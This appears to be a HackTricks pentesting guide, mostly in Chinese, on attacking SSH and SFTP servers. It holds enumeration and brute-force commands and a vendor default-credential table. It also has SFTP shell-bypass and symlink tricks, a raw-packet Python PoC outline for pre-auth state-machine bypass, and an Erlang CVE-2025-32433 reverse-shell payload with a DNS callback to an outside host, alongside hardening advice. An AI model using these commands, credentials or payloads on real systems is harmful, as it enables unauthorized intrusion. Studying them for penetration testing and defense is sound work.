22 - Pentesting SSH/SFTP
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
SSH (Secure Shell or Secure Socket Shell) 是一种网络协议,允许在不安全的网络上与计算机建立安全连接。它在访问远程系统时对于维护数据的机密性和完整性至关重要。
默认端口: 22
22/tcp open ssh syn-ack
SSH servers:
- openSSH – OpenBSD SSH,随 BSD、Linux 发行版 一起发布,并自 Windows 10 起随 Windows 提供
- Dropbear – 针对内存和处理器资源受限环境的 SSH 实现,随 OpenWrt 发布
- PuTTY – 针对 Windows 的 SSH 实现,客户端常用,但服务器端较少被使用
- CopSSH – 用于 Windows 的 OpenSSH 实现
SSH libraries (implementing server-side):
- libssh – 多平台 C 库,实现了 SSHv2 协议,并提供在 Python、Perl 和 R 的绑定;被 KDE 用于 sftp,并被 GitHub 用于 git SSH 基础设施
- wolfSSH – 用 ANSI C 编写的 SSHv2 服务器库,面向嵌入式、RTOS 和资源受限环境
- Apache MINA SSHD – 基于 Apache MINA 的 Apache SSHD java 库
- paramiko – Python 的 SSHv2 协议库
Enumeration
Banner Grabbing
nc -vn <IP> 22
自动化 ssh-audit
ssh-audit 是一个用于 SSH 服务端和客户端配置审计的工具。
https://github.com/jtesta/ssh-audit 是从 https://github.com/arthepsy/ssh-audit/ 派生的更新 fork
功能:
- 支持 SSH1 和 SSH2 协议的服务器;
- 分析 SSH 客户端配置;
- 抓取 banner,识别设备或软件及操作系统,检测压缩;
- 收集 key-exchange、host-key、encryption 和 message authentication code 算法;
- 输出算法信息(自何版本可用、已移除/禁用、不安全/弱/遗留等);
- 输出算法建议(根据识别的软件版本追加或移除);
- 输出安全信息(相关问题、已分配的 CVE 列表等);
- 基于算法信息分析 SSH 版本兼容性;
- 来自 OpenSSH、Dropbear SSH 和 libssh 的历史信息;
- 可在 Linux 和 Windows 上运行;
- 无依赖项
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
服务器的 SSH 公钥
ssh-keyscan -t rsa <IP> -p <PORT>
弱加密算法
这通常由默认的 nmap 发现。但你也可以使用 sslcan 或 sslyze。
Nmap 脚本
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
在某些版本的 OpenSSH 中,你可以通过 timing attack 来枚举用户。你可以使用一个 metasploit module 来利用此漏洞:
msf> use scanner/ssh/ssh_enumusers
Brute force
一些常见的 ssh 凭据见 here 和 here 以及下面。
Private Key Brute Force
如果你知道一些可能可用的 ssh private keys……那就试试吧。你可以使用 nmap script:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
或者使用 MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
或者使用 ssh-keybrute.py(基于 python3 的本地脚本,轻量且启用了旧版算法):snowdroppe/ssh-keybrute.
已知 badkeys 可在此处找到:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
弱 SSH 密钥 / Debian 可预测 PRNG
某些系统在生成加密材料时使用的随机种子存在已知缺陷。这会导致显著缩小的密钥空间,从而可以被 bruteforced。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可在此处获得: g0tmi1k/debian-ssh.
你应该在此处查找以搜索目标机器的有效密钥。
Kerberos / GSSAPI SSO
如果目标 SSH 服务器支持 GSSAPI(例如域控制器上的 Windows OpenSSH),你可以使用 Kerberos TGT 进行认证,而不是使用密码。
来自 Linux 攻击主机的工作流程:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
注意:
- 如果你连接到错误的名称(例如短主机名、别名,或
/etc/hosts中顺序错误),你可能会看到: “Server not found in Kerberos database”,因为 SPN 不匹配。 crackmapexec ssh --kerberos也可以使用你的 ccache 进行 Kerberos 认证。
默认凭证
| Vendor | Usernames | Passwords |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
如果你在本地网络中,并且受害者将使用用户名和密码连接到 SSH 服务器,你可以尝试通过 执行 MitM 攻击来窃取这些凭证:
攻击路径:
- 流量重定向: 攻击者将受害者的流量引导到自己的机器,从而拦截到达 SSH 服务器的连接尝试。
- 拦截与记录: 攻击者的机器充当一个代理,通过伪装成合法的 SSH 服务器来捕获用户的登录信息。
- 命令执行与中继: 最后,攻击者的服务器记录用户凭证,将命令转发到真实的 SSH 服务器、执行这些命令,并将结果返回给用户,使整个过程看起来无缝且合法。
SSH MITM 正是实现上述功能的工具。
为了实际执行 MitM,你可以使用像 ARP spoofing、DNS spoofin 等技术,或使用在 Network Spoofing attacks 中描述的其他方法。
SSH-Snake
如果你想利用在系统上发现的 SSH 私钥遍历网络,在每台系统上使用发现的私钥去连接新的主机,那么 SSH-Snake 就是你需要的工具。
SSH-Snake 会自动并递归地执行以下任务:
- 在当前系统上查找任何 SSH 私钥,
- 在当前系统上查找任何主机或目标(user@host),这些私钥可能被接受,
- 使用所有发现的私钥尝试 SSH 登录所有目标,
- 如果成功连接到某个目标,则在连接的系统上重复步骤 #1 - #4。
它完全自我复制和自我传播 —— 并且完全无文件(fileless)。
配置错误
Root 登录
许多 SSH 服务器默认允许 root 用户登录,这会带来重大安全风险。禁用 root 登录是保护服务器的关键步骤。这可以减轻未经授权的管理权限访问和暴力破解攻击的风险。
在 OpenSSH 中禁用 Root 登录:
- 编辑 SSH 配置文件:
sudoedit /etc/ssh/sshd_config - 将设置从
#PermitRootLogin yes改为PermitRootLogin no。 - 重新加载配置:
sudo systemctl daemon-reload - 重启 SSH 服务以应用更改:
sudo systemctl restart sshd
SFTP Brute Force
SFTP 命令执行
在 SFTP 设置中常见的一个疏忽是,管理员希望用户只能交换文件而不启用远程 shell 访问。即使将用户设置为非交互式 shell(例如 /usr/bin/nologin)并将其限制在特定目录中,仍然存在安全漏洞。用户可以通过在登录后立即请求执行一个命令(例如 /bin/bash)来绕过这些限制,在他们的非交互式 shell 接管之前执行命令。这会允许未授权的命令执行,破坏原本的安全措施。
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
这是一个针对用户 noraj 的安全 SFTP 配置示例 (/etc/ssh/sshd_config – openSSH):
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
此配置只允许 SFTP:通过强制使用 start command 并禁用 TTY 访问来禁用 shell 访问,同时也禁用所有类型的 port forwarding 或 tunneling。
SFTP Tunneling
如果你有访问 SFTP 服务器的权限,你也可以通过它来 tunnel 你的流量,例如使用常见的 port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
在 sftp 中有一个命令 “symlink”。因此,如果你在某个文件夹中拥有 可写权限,你可以创建 symlinks 指向 其他文件夹/文件。由于你很可能 受限 于 chroot 环境中,这对你 不会特别有用,但如果你可以从一个 no-chroot 服务 访问到创建的 symlink(例如,如果你可以从 web 访问该 symlink),你就可以 通过 web 打开被 symlink 指向的文件。
例如,要创建一个 symlink 从一个新文件 “froot” 到 “/”:
sftp> symlink / froot
If you can access the file “froot” via web, you will be able to list the root (“/”) folder of the system.
认证方法
在高安全性环境中,通常只启用基于密钥或两因素认证,而不是简单的基于密码的单因素认证。但经常会出现启用了更强的认证方法却未禁用较弱方法的情况。一个常见的案例是在 openSSH 配置中启用 publickey 并将其设置为默认方法,但没有禁用 password。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到启用了较弱的方法:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
例如,如果设置了认证失败次数限制,导致你根本无法尝试 password 方法,你可以使用 PreferredAuthentications 选项来强制使用该方法。
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
审查 SSH 服务器配置是必要的,以确认只有预期的方法被授权。在客户端使用 verbose 模式可以帮助查看配置的有效性。
配置文件
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
最近严重漏洞(2024)
CVE-2024-6387 – regreSSHion signal-handler race
OpenSSH 8.5p1–9.7p1 在 sshd 的 SIGALRM 处理程序中移除了 async-safe logging guard,重新引入了 CVE-2006-5051,使未认证的攻击者在 LoginGraceTime 到期时能够破坏 glibc heap。Qualys 将该漏洞武器化,可在 32-bit Linux 获取 root RCE,并指出 64-bit 目标在经过足够的 grooming attempts 后仍可被 brute-forceable,因此在 banner grabs 时优先关注仍泄露这些版本的主机。
利用依赖于时序:用永远不完成认证的半开会话反复压迫 daemon,使特权 monitor 重复触及易受攻击的信号路径,同时调整分配器状态以配合利用。
操作建议:
- 用
ssh -V(remote banner)或ssh -G <target> | grep ^userauths指纹化构建,并确认LoginGraceTime非零。 - 通过对实验室目标大量发送短寿命、不请求认证的会话进行压力测试,例如:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
- 强制
LoginGraceTime 0的主机永远不会触及有问题的代码路径——此类主机只能通过耗尽MaxStartups导致 DoS。
CVE-2024-3094 – xz/liblzma supply-chain backdoor
XZ Utils 5.6.0 和 5.6.1 发布的 tarball 在打包为 Debian/RPM 时被植入后门对象,这些构建脚本会在 x86-64 Linux 上解包一个隐藏对象。该负载滥用 glibc 的 IFUNC 解析器钩取 RSA_public_decrypt 到 sshd(当 systemd 补丁迫使 liblzma 被加载时),并接受攻击者签名的数据包以实现 pre-auth 代码执行。
因为恶意逻辑只存在于那些打包的二进制中,验证时必须检查受害者实际安装了什么:检查 xz --version、rpm -qi xz/dpkg -l xz-utils,比较 /usr/lib*/liblzma.so* 的哈希,并运行 ldd /usr/sbin/sshd | grep -E "systemd|lzma" 来确认 sshd 是否确实拉入了被破坏的依赖。该 hook 只在进程路径为 /usr/sbin/sshd 时才会激活,因此通常需要重建 distro 的构建环境才能在实验室中复现该后门。
Authentication State-Machine Bypass (Pre-Auth RCE)
多个 SSH server 实现的逻辑在 authentication finite-state machine 中存在缺陷,允许客户端在认证完成之前发送 connection-protocol 消息。因为服务器未能验证自身处于正确状态,这些消息会被当作已完全认证的请求处理,导致 unauthenticated code execution 或会话创建。
在协议层面,任何具有 message code ≥ 80 (0x50) 的 SSH 消息都属于 connection 层(RFC 4254),必须 仅在认证成功后被接受(RFC 4252)。如果服务器在仍处于 SSH_AUTHENTICATION 状态时处理了这些消息之一,攻击者可以立即创建 channel 并请求诸如命令执行、port-forwarding 等操作。
通用利用步骤
- 建立到目标 SSH 端口的 TCP 连接(通常为 22,但其他服务可能在 2022、830、2222 等端口暴露 Erlang/OTP)。
- 构造一个原始 SSH 包:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80(例如
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - 与所选消息类型兼容的负载
- 在完成任何认证步骤之前发送该包(或这些包)。
- 与现在在 pre-auth 暴露出来的服务器 API 交互(命令执行、端口转发、文件系统访问等)。
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
在实际操作中,你需要根据目标实现执行(或跳过)密钥交换,但不会进行任何认证。
Erlang/OTP sshd (CVE-2025-32433)
- Affected versions: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Root cause: Erlang 原生 SSH 守护进程在调用
ssh_connection:handle_msg/2之前没有验证当前状态。因此,任何消息代码为 80-255 的数据包都会在会话仍处于 userauth 状态时到达连接处理器。 - Impact: 未经身份验证的 remote code execution(守护进程通常在嵌入式/OT 设备上以 root 身份运行)。
示例 payload,会在攻击者控制的通道上生成一个 reverse shell:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection 可通过 DNS 执行:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
检测与缓解:
- 检查 SSH 流量:在认证前观察到消息代码 ≥ 80 的任何数据包都丢弃。
- 将 Erlang/OTP 升级到 27.3.3 / 26.2.5.11 / 25.3.2.20 或更高版本。
- 限制管理端口 (22/2022/830/2222) 的暴露 – 尤其是在 OT 设备上。
受影响的其他实现
- libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – 接受客户端发送的未认证
SSH_MSG_USERAUTH_SUCCESS,实际上是相反的逻辑缺陷。
共同的教训是,任何偏离 RFC 所规定的状态转换都可能是致命的;在审查或对 SSH 守护进程进行 fuzzing 时,请特别注意 状态机强制执行。
参考资料
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
- Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server
- Snyk – The XZ backdoor (CVE-2024-3094)
HackTricks Automatic Commands
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

